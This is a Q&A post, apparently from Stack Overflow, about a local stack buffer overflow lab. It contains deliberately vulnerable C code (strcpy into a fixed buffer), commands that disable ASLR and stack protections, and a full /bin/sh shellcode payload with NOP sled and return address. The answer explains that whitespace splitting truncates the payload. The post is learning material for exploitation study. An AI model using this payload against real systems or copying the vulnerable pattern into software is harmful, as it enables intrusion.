Search code examples
creturnbuffer-overflowshellcodestack-pointer

Why is there the need to use a precise return address for shellcode execution?


I'm trying to understand why in order to successfully execute my shellcode payload, I need to use a specific return address inside the stack.

If I use a different address that is still inside the stack, I either get a SIGSEGV segmentation fault or a SIGILL illegal instruction.


First of all, I have deactivated ASLR on my OS by doing this :

echo 0 > /proc/sys/kernel/randomize_va_space

Here is my vulnerable C code :

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

void func (char *arg) {
  char buffer[64];
  strcpy(buffer, arg);
  printf("%s\n", buffer);
}

int main(int argc, char *argv[])
{
  func(argv[1]);
  return 0;
}

I compiled it in 32 bit using gcc on a 64 bit machine with the following line :

gcc -z execstack -m32 buffer.c -g -o buffer -fno-stack-protector

I thus have an executable stack so that the shellcode is executable and also no stack protector to allow stack smashing.


Here is my shellcode (NOP|shellcode-payload|return-address) :

"\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff"

I feed this shellcode as an input to the buffer binary using Python2 to gdb as follow :

gdb --args ./buffer $(python2 -c 'print("\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff")')

By putting a break func in gdb, I can print the following bytes showing a bit of the stack.

bytes in the stack

If I put at the end of the shellcode any return address that is not in the range : 0xffffd521-0xffffd539. I get either a SIGSEGV or SIGILL why is that ?

For instance, 0xffffd520 is a valid address inside the stack, for what reason it does not work ?


Solution

  • It's not really anything to do with your program or your shellcode, but with the way you are running it. $(...) in shell splits its result into multiple arguments at whitespace, so if the output of python contains whitespace bytes, argv[1] will only get the part of the payload before the first such byte. The address 0xffffd520 has 0x20, space, as one of its bytes, so that'll result in argv[1] containing a truncated version of your payload, which in particular won't contain the correct return address at all, hence crashing.

    You should use quotes to force the entire output to be a single argument: "$(python2 ... )"